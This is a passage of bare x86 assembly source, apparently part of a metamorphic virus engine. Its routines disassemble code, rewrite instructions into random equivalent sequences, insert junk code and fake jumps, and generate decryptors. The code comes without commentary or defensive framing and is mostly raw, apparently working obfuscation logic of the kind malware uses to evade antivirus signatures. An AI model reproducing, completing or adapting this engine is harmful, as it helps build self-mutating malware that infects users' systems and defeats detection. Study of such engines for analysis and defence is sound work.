jz @@Double_JccJcc
|
|
cmp eax, 2
|
|
jz @@Double_CMPJcc
|
|
|
|
mov edx, 73h
|
|
mov ecx, 76h
|
|
@@Double_JccJcc2:
|
|
call Random
|
|
or eax, eax
|
|
jz @@Double_JccJcc2_Next
|
|
mov edx, 75h
|
|
@@Double_JccJcc2_Next:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Double_JccJcc2_Next02
|
|
mov eax, edx
|
|
mov edx, ecx
|
|
mov ecx, eax
|
|
@@Double_JccJcc2_Next02:
|
|
call Xp_SaveOperation
|
|
push ecx
|
|
mov [ebp+Xp_Operation], edx
|
|
|
|
call Xp_GenJcc_SingleJcc
|
|
pop ecx
|
|
mov [ebp+Xp_Operation], ecx
|
|
call Xp_GenJcc_SingleJcc
|
|
call Xp_RestoreOperation
|
|
jmp @@InsertStopMark
|
|
|
|
|
|
|
|
@@Double_CMPJcc:
|
|
call Xp_SaveOperation
|
|
mov eax, 38h
|
|
mov [ebp+Xp_Operation], eax
|
|
@@Double_CMPJcc_x:
|
|
call Random
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jz @@Double_CMPJcc_x
|
|
mov [ebp+Xp_Register], eax
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPRegReg
|
|
call Xp_GetSpecialJcc
|
|
@@Double_CMPJcc_Common:
|
|
xor eax, 1
|
|
mov [ebp+Xp_Operation], eax
|
|
|
|
call Xp_GenJcc_SingleJcc
|
|
call Xp_RestoreOperation
|
|
jmp @@InsertStopMark
|
|
@@Double_JccJcc:
|
|
call Xp_SaveOperation
|
|
call Random
|
|
and eax, 0Fh
|
|
add eax, 70h
|
|
mov [ebp+Xp_Operation], eax
|
|
push eax
|
|
call Xp_GenJcc_SingleJcc
|
|
pop eax
|
|
jmp @@Double_CMPJcc_Common
|
|
|
|
|
|
@@Single: mov eax, 0E9h
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
Xp_EndJmp:
|
|
call Random
|
|
and eax, 2
|
|
or eax, eax
|
|
jnz Xp_DecreaseRecurseLevel
|
|
call Random
|
|
and eax, 7
|
|
add eax, 1
|
|
mov ecx, eax
|
|
@@LoopInsert:
|
|
call Random
|
|
mov al, 0FDh
|
|
mov [edi], eax
|
|
add edi, 10h
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopInsert
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
|
|
@@InsertStopMark:
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@InsertStopMark
|
|
cmp eax, 1
|
|
jz @@GenerateRET
|
|
cmp eax, 2
|
|
jz @@GenerateJMPMem
|
|
|
|
@@GenerateJMPReg:
|
|
call Xp_SaveOperation
|
|
call Random
|
|
and eax, 7
|
|
mov [ebp+Xp_Register], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenJMPReg
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@GenerateJMPMem:
|
|
call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
|
|
call Xp_GenJMPMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@GenerateRET:
|
|
call Xp_GenRET
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenJMP endp
|
|
|
|
Xp_GenJMPReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single
|
|
call Random
|
|
and eax, 2
|
|
or eax, eax
|
|
jz @@Double_1
|
|
@@Double_0: call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPMemReg
|
|
call Xp_GenJMPMem
|
|
call Xp_RestoreOperation
|
|
jmp Xp_EndJmp
|
|
@@Double_1: call Xp_GenPUSHReg
|
|
call Xp_GenRET
|
|
jmp Xp_EndJmp
|
|
|
|
@@Single: mov eax, 0EDh
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
jmp Xp_EndJmp
|
|
Xp_GenJMPReg endp
|
|
|
|
Xp_GenJMPMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
call Xp_SaveOperation
|
|
call Xp_GenPUSHMem
|
|
call Xp_GetTempVar
|
|
call Xp_GenPOPMem
|
|
call Xp_GenJMPMem
|
|
call Xp_RestoreOperation
|
|
jmp Xp_EndJmp
|
|
|
|
@@Single: mov eax, 0EBh
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
add edi, 10h
|
|
jmp Xp_EndJmp
|
|
Xp_GenJMPMem endp
|
|
|
|
Xp_GenMOVZX proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single
|
|
call Random
|
|
and eax, 1
|
|
jz @@Double_1
|
|
@@Double_2:
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegMem
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov eax, 20h
|
|
mov [ebp+Xp_Operation], eax
|
|
mov eax, 0FFh
|
|
mov [ebp+Xp_Immediate], eax
|
|
call Xp_GenOPRegImm
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Double_1:
|
|
mov eax, [ebp+Register8Bits]
|
|
call Xpand_TranslateRegister
|
|
mov ebx, [ebp+Xp_Register]
|
|
cmp eax, ebx
|
|
jnz @@Double_2
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_Immediate], eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPRegImm
|
|
mov eax, 80h
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPRegMem
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single:
|
|
mov eax, 0F8h
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenMOVZX endp
|
|
|
|
Xp_GenJcc proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 2
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
@@Double: call Random
|
|
and eax, 0Fh
|
|
or eax, eax
|
|
jnz @@Double2
|
|
|
|
mov eax, 1
|
|
mov [edi+7], eax
|
|
call @@InternalSingle2
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
@@Double2: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 73h
|
|
jz @@Double_JAE
|
|
cmp eax, 75h
|
|
jz @@Double_JNZ
|
|
cmp eax, 76h
|
|
jnz @@Single
|
|
@@Double_JBE:
|
|
mov ebx, 72h
|
|
mov ecx, 74h
|
|
mov edx, 76h
|
|
jmp @@Double_GarbleAndSelect
|
|
@@Double_JNZ:
|
|
mov ebx, 72h
|
|
mov ecx, 75h
|
|
mov edx, 77h
|
|
jmp @@Double_GarbleAndSelect
|
|
@@Double_JAE:
|
|
mov ebx, 73h
|
|
mov ecx, 74h
|
|
mov edx, 77h
|
|
@@Double_GarbleAndSelect:
|
|
call Xp_GarbleRegisters
|
|
call Xp_SaveOperation
|
|
push ecx
|
|
mov [ebp+Xp_Operation], edx
|
|
call @@InternalSingle
|
|
pop ecx
|
|
mov [ebp+Xp_Operation], ecx
|
|
call @@InternalSingle
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: call @@InternalSingle
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
Xp_GenJcc_SingleJcc:
|
|
@@InternalSingle:
|
|
xor eax, eax
|
|
mov [edi+7], eax
|
|
@@InternalSingle2:
|
|
mov eax, [ebp+Xp_Operation]
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
ret
|
|
Xp_GenJcc endp
|
|
|
|
Xp_GarbleRegisters proc
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz Xp_GarbleRegisters
|
|
cmp eax, 1
|
|
jz @@Permutation0
|
|
cmp eax, 2
|
|
jz @@Permutation1
|
|
@@Permutation2:
|
|
mov eax, ebx
|
|
mov ebx, edx
|
|
mov edx, eax
|
|
jmp @@Permutation0
|
|
@@Permutation1:
|
|
mov eax, ebx
|
|
mov ebx, ecx
|
|
mov ecx, eax
|
|
@@Permutation0:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Return
|
|
@@Permutation0_0:
|
|
mov eax, edx
|
|
mov edx, ecx
|
|
mov ecx, eax
|
|
@@Return: ret
|
|
Xp_GarbleRegisters endp
|
|
|
|
Xp_MakeComposedOPImm proc
|
|
call Xp_SaveOperation
|
|
call Random
|
|
mov ebx, eax
|
|
mov edx, [ebp+Xp_Immediate]
|
|
mov eax, [ebp+Xp_Operation]
|
|
or eax, eax
|
|
jz @@Double_OP_ADD
|
|
cmp eax, 8
|
|
jz @@Double_OP_OR
|
|
cmp eax, 20h
|
|
jz @@Double_OP_AND
|
|
cmp eax, 30h
|
|
jz @@Double_OP_XOR
|
|
cmp eax, 40h
|
|
jnz @@Return_Error
|
|
@@Double_OP_MOV:
|
|
call Random
|
|
and eax, 7
|
|
or eax, eax
|
|
jz @@Double_OP_MOV_ADD
|
|
cmp eax, 1
|
|
jz @@Double_OP_MOV_OR
|
|
cmp eax, 2
|
|
jz @@Double_OP_MOV_AND
|
|
cmp eax, 3
|
|
jz @@Double_OP_MOV_XOR
|
|
cmp eax, 4
|
|
jnz @@Double_OP_MOV
|
|
@@Double_OP_MOV_MOV:
|
|
mov eax, [ebp+Xp_FlagRegOrMem]
|
|
or eax, eax
|
|
jz @@Double_OP_MOV_MOV_MakeReg
|
|
call Xp_GenOPMemImm
|
|
jmp @@Return_NoError
|
|
@@Double_OP_MOV_MOV_MakeReg:
|
|
call Xp_GenOPRegImm
|
|
jmp @@Return_NoError
|
|
|
|
@@Double_OP_MOV_ADD:
|
|
sub edx, ebx
|
|
xor ecx, ecx
|
|
jmp @@Double_OP_MOV_OP
|
|
@@Double_OP_MOV_OR:
|
|
and ebx, edx
|
|
call Random
|
|
and eax, edx
|
|
xor edx, ebx
|
|
or edx, eax
|
|
mov ecx, 8
|
|
jmp @@Double_OP_MOV_OP
|
|
@@Double_OP_MOV_AND:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Double_OP_MOV_AND_2
|
|
call Random
|
|
not ebx
|
|
and eax, ebx
|
|
not ebx
|
|
mov ecx, eax
|
|
or ecx, edx
|
|
or edx, ebx
|
|
mov ebx, ecx
|
|
mov ecx, 20h
|
|
jmp @@Double_OP_MOV_OP
|
|
@@Double_OP_MOV_AND_2:
|
|
mov ecx, ebx
|
|
not ecx
|
|
or ecx, edx
|
|
or edx, ebx
|
|
mov ebx, ecx
|
|
mov ecx, 20h
|
|
jmp @@Double_OP_MOV_OP
|
|
@@Double_OP_MOV_XOR:
|
|
xor edx, ebx
|
|
mov ecx, 30h
|
|
@@Double_OP_MOV_OP:
|
|
push ecx
|
|
push edx
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
mov [ebp+Xp_Immediate], ebx
|
|
mov eax, [ebp+Xp_FlagRegOrMem]
|
|
or eax, eax
|
|
jz @@Double_OP_MOV_OP_MakeReg
|
|
call Xp_GenOPMemImm
|
|
pop edx
|
|
pop ecx
|
|
mov [ebp+Xp_Operation], ecx
|
|
mov [ebp+Xp_Immediate], edx
|
|
call Xp_GenOPMemImm
|
|
jmp @@Return_NoError
|
|
@@Double_OP_MOV_OP_MakeReg:
|
|
call Xp_GenOPRegImm
|
|
pop edx
|
|
pop ecx
|
|
mov [ebp+Xp_Operation], ecx
|
|
mov [ebp+Xp_Immediate], edx
|
|
call Xp_GenOPRegImm
|
|
jmp @@Return_NoError
|
|
|
|
@@Double_OP_ADD:
|
|
sub edx, ebx
|
|
jmp @@Double_OP_OP
|
|
@@Double_OP_OR:
|
|
and ebx, edx
|
|
mov ecx, edx
|
|
xor edx, ebx
|
|
call Random
|
|
and ecx, eax
|
|
or edx, ecx
|
|
jmp @@Double_OP_OP
|
|
@@Double_OP_AND:
|
|
mov ecx, ebx
|
|
or ebx, edx
|
|
not ecx
|
|
or edx, ecx
|
|
jmp @@Double_OP_OP
|
|
@@Double_OP_XOR:
|
|
xor edx, ebx
|
|
@@Double_OP_OP:
|
|
push edx
|
|
mov [ebp+Xp_Immediate], ebx
|
|
mov eax, [ebp+Xp_FlagRegOrMem]
|
|
or eax, eax
|
|
jz @@Double_OP_OP_MakeReg
|
|
call Xp_GenOPMemImm
|
|
pop edx
|
|
mov [ebp+Xp_Immediate], edx
|
|
call Xp_GenOPMemImm
|
|
jmp @@Return_NoError
|
|
@@Double_OP_OP_MakeReg:
|
|
call Xp_GenOPRegImm
|
|
pop edx
|
|
mov [ebp+Xp_Immediate], edx
|
|
call Xp_GenOPRegImm
|
|
@@Return_NoError:
|
|
call Xp_RestoreOperation
|
|
xor eax, eax
|
|
ret
|
|
@@Return_Error:
|
|
call Xp_RestoreOperation
|
|
mov eax, 1
|
|
ret
|
|
Xp_MakeComposedOPImm endp
|
|
|
|
|
|
Xp_MakeSET_WEIGHT proc
|
|
call Xp_SaveOperation
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPUSHReg
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegImm
|
|
call Xp_RestoreOperation
|
|
mov eax, [ebp+Xp_Immediate]
|
|
or eax, eax
|
|
@@SetWeight:
|
|
mov [ebp+Xp_Immediate], eax
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegImm
|
|
|
|
call Xp_GenOPMemReg
|
|
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPOPReg
|
|
ret
|
|
Xp_MakeSET_WEIGHT endp
|
|
|
|
Xp_GetSpecialJcc proc
|
|
push ebx
|
|
call Random
|
|
mov ebx, eax
|
|
and eax, 0Eh
|
|
cmp eax, 8
|
|
jae @@Next
|
|
shr ebx, 1
|
|
@@Next: shr ebx, 1
|
|
and ebx, 1
|
|
add eax, ebx
|
|
add eax, 70h
|
|
pop ebx
|
|
ret
|
|
Xp_GetSpecialJcc endp
|
|
|
|
|
|
Xp_CopyMemoryReference proc
|
|
mov eax, [ebp+Xp_Mem_Index1]
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Xp_Mem_Index2]
|
|
mov [edi+2], eax
|
|
mov eax, [ebp+Xp_Mem_Addition]
|
|
mov [edi+3], eax
|
|
ret
|
|
Xp_CopyMemoryReference endp
|
|
|
|
|
|
Xp_InsertGarbage proc
|
|
call Random
|
|
and eax, 7
|
|
or eax, eax
|
|
jz @@MakeOneByter
|
|
cmp eax, 1
|
|
jz @@MakeMOVRegReg
|
|
cmp eax, 2
|
|
jz @@MakeANDs1
|
|
cmp eax, 3
|
|
jz @@MakeOR0
|
|
cmp eax, 4
|
|
jz @@MakeXOR0
|
|
cmp eax, 5
|
|
jz @@MakeADD0
|
|
cmp eax, 6
|
|
jz @@MakeCMPJcc
|
|
|
|
jmp Xp_InsertGarbage
|
|
|
|
@@MakeADD0:
|
|
xor eax, eax
|
|
mov [ebp+Xp_Operation], eax
|
|
@@MakeOP0:
|
|
xor eax, eax
|
|
mov [ebp+Xp_Immediate], eax
|
|
@@MakeOPx:
|
|
xor eax, eax
|
|
mov [edi+0Bh], eax
|
|
mov [edi+0Ch], esi
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
@@MakeOPReg0:
|
|
call Random
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jz @@MakeOPReg0
|
|
cmp eax, [ebp+TranslatedDeltaRegister]
|
|
jz @@MakeOPReg0
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenOPRegImm
|
|
ret
|
|
|
|
@@MakeOR0:
|
|
mov eax, 8
|
|
mov [ebp+Xp_Operation], eax
|
|
jmp @@MakeOP0
|
|
|
|
@@MakeXOR0:
|
|
mov eax, 30h
|
|
mov [ebp+Xp_Operation], eax
|
|
jmp @@MakeOP0
|
|
|
|
@@MakeANDs1:
|
|
mov eax, 20h
|
|
mov [ebp+Xp_Operation], eax
|
|
mov eax, -1
|
|
mov [ebp+Xp_Immediate], eax
|
|
jmp @@MakeOPx
|
|
|
|
|
|
@@MakeCMPJcc:
|
|
call Random
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jz @@MakeADD0
|
|
cmp eax, [ebp+TranslatedDeltaRegister]
|
|
jz @@MakeADD0
|
|
|
|
mov [ebp+Xp_Register], eax
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov [edi+0Bh], eax
|
|
mov [edi+0Ch], esi
|
|
mov eax, 38h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegReg
|
|
call Xp_GetSpecialJcc
|
|
mov [ebp+Xp_Operation], eax
|
|
@@OtherLabel:
|
|
call Random
|
|
and eax, 01F8h
|
|
cmp eax, [ebp+NumberOfLabels]
|
|
jae @@OtherLabel
|
|
add eax, [ebp+LabelTable]
|
|
mov [ebp+Xp_Immediate], eax
|
|
call Xp_GenJcc_SingleJcc
|
|
ret
|
|
|
|
@@MakeMOVRegReg:
|
|
call Random
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jz @@MakeMOVRegReg
|
|
cmp eax, [ebp+TranslatedDeltaRegister]
|
|
jz @@MakeMOVRegReg
|
|
mov [ebp+Xp_Register], eax
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov [edi+0Bh], eax
|
|
mov [edi+0Ch], esi
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegReg
|
|
ret
|
|
|
|
@@MakeOneByter:
|
|
call Random
|
|
and eax, 1
|
|
jz @@OnlyNOP
|
|
call Random
|
|
and eax, 0100h
|
|
add eax, 0F8FDh
|
|
jmp @@OtherOneByter
|
|
@@OnlyNOP: mov eax, 90FDh
|
|
@@OtherOneByter:
|
|
mov [edi], eax
|
|
xor eax, eax
|
|
mov [edi+0Bh], eax
|
|
mov [edi+0Ch], esi
|
|
add edi, 10h
|
|
call Random
|
|
and eax, 0Fh
|
|
or eax, eax
|
|
jz @@MakeOneByter
|
|
ret
|
|
Xp_InsertGarbage endp
|
|
|
|
|
|
Xp_IncreaseRecurseLevel proc
|
|
call Random
|
|
and eax, 1
|
|
jnz @@Close
|
|
|
|
mov eax, [ebp+Xp_RecurseLevel]
|
|
add eax, 1
|
|
mov [ebp+Xp_RecurseLevel], eax
|
|
@@Close:
|
|
ret
|
|
Xp_IncreaseRecurseLevel endp
|
|
|
|
|
|
Xp_RestoreOpAndDecreaseRecurseLevel proc
|
|
call Xp_RestoreOperation
|
|
Xp_RestoreOpAndDecreaseRecurseLevel endp
|
|
|
|
Xp_DecreaseRecurseLevel proc
|
|
call Random
|
|
and eax, 1
|
|
jnz @@Close
|
|
mov eax, [ebp+Xp_RecurseLevel]
|
|
sub eax, 1
|
|
mov [ebp+Xp_RecurseLevel], eax
|
|
@@Close:
|
|
ret
|
|
Xp_DecreaseRecurseLevel endp
|
|
|
|
Xp_GetTempVar proc
|
|
push edx
|
|
call Random
|
|
mov edx, eax
|
|
@@VariableCheck:
|
|
and edx, 1FFF8h
|
|
mov eax, [ebp+CreatingADecryptor]
|
|
or eax, eax
|
|
jz @@Normal1
|
|
and edx, 00FF8h
|
|
cmp edx, 20h
|
|
jb @@Add20
|
|
cmp edx, 0F00h
|
|
jb @@Normal1
|
|
xor edx, edx
|
|
@@Add20: add edx, 20h
|
|
@@Normal1: add edx, [ebp+VarMarksTable]
|
|
mov eax, [edx]
|
|
or eax, eax
|
|
jz @@VariableFound
|
|
sub edx, [ebp+VarMarksTable]
|
|
add edx, 8
|
|
jmp @@VariableCheck
|
|
@@VariableFound:
|
|
mov eax, 1
|
|
mov [edx], eax
|
|
sub edx, [ebp+VarMarksTable]
|
|
call Random
|
|
and eax, 3
|
|
add edx, eax
|
|
mov eax, [ebp+CreatingADecryptor]
|
|
or eax, eax
|
|
jz @@Normal2
|
|
add edx, [ebp+Decryptor_DATA_SECTION]
|
|
mov [ebp+Xp_Mem_Addition], edx
|
|
mov eax, 8
|
|
jmp @@Continue
|
|
@@Normal2: add edx, [ebp+New_DATA_SECTION]
|
|
mov [ebp+Xp_Mem_Addition], edx
|
|
mov eax, [ebp+DeltaRegister]
|
|
call Xpand_TranslateRegister
|
|
@@Continue: mov [ebp+Xp_Mem_Index1], eax
|
|
mov eax, 8
|
|
mov [ebp+Xp_Mem_Index2], eax
|
|
pop edx
|
|
ret
|
|
Xp_GetTempVar endp
|
|
|
|
|
|
Xp_SaveOperation proc
|
|
pop ebx
|
|
mov eax, [ebp+Xp_Operation]
|
|
push eax
|
|
mov eax, [ebp+Xp_Mem_Index1]
|
|
push eax
|
|
mov eax, [ebp+Xp_Mem_Index2]
|
|
push eax
|
|
mov eax, [ebp+Xp_Mem_Addition]
|
|
push eax
|
|
mov eax, [ebp+Xp_Register]
|
|
push eax
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
push eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
push eax
|
|
mov eax, [ebp+Xp_8Bits]
|
|
push eax
|
|
push ebx
|
|
ret
|
|
Xp_SaveOperation endp
|
|
|
|
|
|
Xp_RestoreOperation proc
|
|
pop ebx
|
|
pop eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
pop eax
|
|
mov [ebp+Xp_Immediate], eax
|
|
pop eax
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
pop eax
|
|
mov [ebp+Xp_Register], eax
|
|
pop eax
|
|
mov [ebp+Xp_Mem_Addition], eax
|
|
pop eax
|
|
mov [ebp+Xp_Mem_Index2], eax
|
|
pop eax
|
|
mov [ebp+Xp_Mem_Index1], eax
|
|
pop eax
|
|
mov [ebp+Xp_Operation], eax
|
|
push ebx
|
|
ret
|
|
Xp_RestoreOperation endp
|
|
|
|
;--------------------------------------------------------------------------------------
|
|
|
|
DecodeMemoryConstruction proc
|
|
mov eax, 00000808h
|
|
mov [edi+1], eax
|
|
xor eax, eax
|
|
mov [edi+3], eax
|
|
mov ebx, 1
|
|
|
|
|
|
mov eax, [edx]
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jz @@ThirdOpcodeUsed
|
|
cmp eax, 5
|
|
jz @@DirectMemory
|
|
|
|
@@SetBaseRegister:
|
|
mov eax, [edx]
|
|
and eax, 7
|
|
push edx
|
|
mov edx, [edi+1]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
pop edx
|
|
mov [edi+1], eax
|
|
mov eax, [edx]
|
|
and eax, 0C0h
|
|
or eax, eax
|
|
jz @@NoAddition
|
|
cmp eax, 40h
|
|
jz @@ByteAddition
|
|
@@DwordAddition:
|
|
add ebx, 4
|
|
mov eax, [edx+1]
|
|
jmp @@SetAddition
|
|
@@ByteAddition:
|
|
add ebx, 1
|
|
mov eax, [edx+1]
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@SetAddition
|
|
add eax, 0FFFFFF00h
|
|
@@SetAddition:
|
|
mov [edi+3], eax
|
|
@@NoAddition:
|
|
ret
|
|
|
|
@@DirectMemory:
|
|
mov eax, [edx]
|
|
and eax, 0C0h
|
|
or eax, eax
|
|
jnz @@SetBaseRegister
|
|
jmp @@DwordAddition
|
|
|
|
|
|
@@ThirdOpcodeUsed:
|
|
add ebx, 1
|
|
mov eax, [edx+1]
|
|
and eax, 38h
|
|
shr eax, 3
|
|
cmp eax, 4
|
|
jz @@IgnoreScalarRegister
|
|
mov ecx, eax
|
|
mov eax, [edx+1]
|
|
and eax, 0C0h
|
|
or eax, ecx
|
|
push edx
|
|
mov edx, [edi+2]
|
|
and edx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, edx
|
|
pop edx
|
|
mov [edi+2], eax
|
|
@@IgnoreScalarRegister:
|
|
mov eax, [edx]
|
|
and eax, 0C0h
|
|
or eax, eax
|
|
jz @@EBPMeansDwordAddition
|
|
mov eax, [edx+1]
|
|
and eax, 7
|
|
push edx
|
|
mov edx, [edi+1]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
pop edx
|
|
mov [edi+1], eax
|
|
mov eax, [edx]
|
|
and eax, 0C0h
|
|
cmp eax, 40h
|
|
jz @@ByteAddition2
|
|
@@DwordAddition2:
|
|
add ebx, 4
|
|
mov eax, [edx+2]
|
|
jmp @@SetAddition2
|
|
@@ByteAddition2:
|
|
add ebx, 1
|
|
mov eax, [edx+2]
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@SetAddition2
|
|
add eax, 0FFFFFF00h
|
|
@@SetAddition2:
|
|
mov [edi+3], eax
|
|
ret
|
|
|
|
@@EBPMeansDwordAddition:
|
|
mov eax, [edx+1]
|
|
and eax, 7
|
|
cmp eax, 5
|
|
jz @@DwordAddition2
|
|
push edx
|
|
mov edx, [edi+1]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
pop edx
|
|
mov [edi+1], eax
|
|
ret
|
|
DecodeMemoryConstruction endp
|
|
|
|
|
|
DisasmCode proc
|
|
xor eax, eax
|
|
mov [ebp+NumberOfLabels], eax
|
|
mov [ebp+NumberOfLabelsPost], eax
|
|
|
|
mov ecx, 80000h/4
|
|
mov edi, [ebp+PathMarksTable]
|
|
xor eax, eax
|
|
@@LoopInitializePathTable:
|
|
call Random
|
|
and eax, 0FCh
|
|
mov [edi], eax
|
|
add edi, 4
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopInitializePathTable
|
|
|
|
mov edi, [ebp+InstructionTable]
|
|
|
|
|
|
@@LoopTrace:
|
|
@@CheckCurrentLabel:
|
|
mov eax, esi
|
|
sub eax, [ebp+_CODE_SECTION]
|
|
sub eax, ebp
|
|
add eax, [ebp+PathMarksTable]
|
|
mov eax, [eax]
|
|
and eax, 0FFh
|
|
cmp eax, 1
|
|
jnz @@CheckIfFutureLabelArrived
|
|
|
|
mov edx, [ebp+InstructionTable]
|
|
@@CheckCurrEIP_001:
|
|
mov eax, [edx+0Ch]
|
|
cmp eax, esi
|
|
jz @@ItsTheCurrentEIP
|
|
add edx, 10h
|
|
jmp @@CheckCurrEIP_001
|
|
@@ItsTheCurrentEIP:
|
|
mov [edi+0Ch], esi
|
|
mov eax, [edi+0Bh]
|
|
and eax, 0FFFFFF00h
|
|
mov [edi+0Bh], eax
|
|
mov eax, 0E9h
|
|
mov [edi], eax
|
|
mov eax, esi
|
|
mov ebx, edx
|
|
call InsertLabel
|
|
mov [edi+1], edx
|
|
add edi, 10h
|
|
|
|
|
|
mov ecx, [ebp+NumberOfLabelsPost]
|
|
or ecx, ecx
|
|
jz @@FinDeTraduccion
|
|
|
|
mov ebx, [ebp+FutureLabelTable]
|
|
@@LoopCheckOtherFutureLabel:
|
|
mov eax, [ebx]
|
|
cmp eax, esi
|
|
jz @@OtherFutureLabelFound
|
|
@@LoopSearchOtherFutureLabel:
|
|
add ebx, 8
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopCheckOtherFutureLabel
|
|
|
|
mov ecx, [ebp+NumberOfLabelsPost]
|
|
mov ebx, [ebp+FutureLabelTable]
|
|
@@LoopCheckOtherFutureLabel2:
|
|
mov eax, [ebx]
|
|
or eax, eax
|
|
jz @@LoopSearchOtherFutureLabel2
|
|
sub eax, ebp
|
|
sub eax, [ebp+_CODE_SECTION]
|
|
add eax, [ebp+PathMarksTable]
|
|
mov eax, [eax]
|
|
and eax, 0FFh
|
|
cmp eax, 1
|
|
jz @@ReleaseLabelsInThatAddress
|
|
@@LoopSearchOtherFutureLabel2:
|
|
add ebx, 8
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopCheckOtherFutureLabel2
|
|
jmp @@GetEIPFromFutureLabelList
|
|
|
|
@@ReleaseLabelsInThatAddress:
|
|
push ebx
|
|
push ecx
|
|
mov esi, [ebx]
|
|
call ReleaseFutureLabels
|
|
pop ecx
|
|
pop ebx
|
|
jmp @@LoopSearchOtherFutureLabel2
|
|
|
|
@@OtherFutureLabelFound:
|
|
mov eax, [ebx+4]
|
|
mov [eax+1], edx
|
|
xor eax, eax
|
|
mov [ebx], eax
|
|
jmp @@LoopSearchOtherFutureLabel
|
|
|
|
@@CheckIfFutureLabelArrived:
|
|
mov eax, [edi+0Bh]
|
|
and eax, 0FFFFFF00h
|
|
mov [edi+0Bh], eax
|
|
call ReleaseFutureLabels
|
|
|
|
@@DefineInstr:
|
|
mov [edi+0Ch], esi
|
|
mov ebx, esi
|
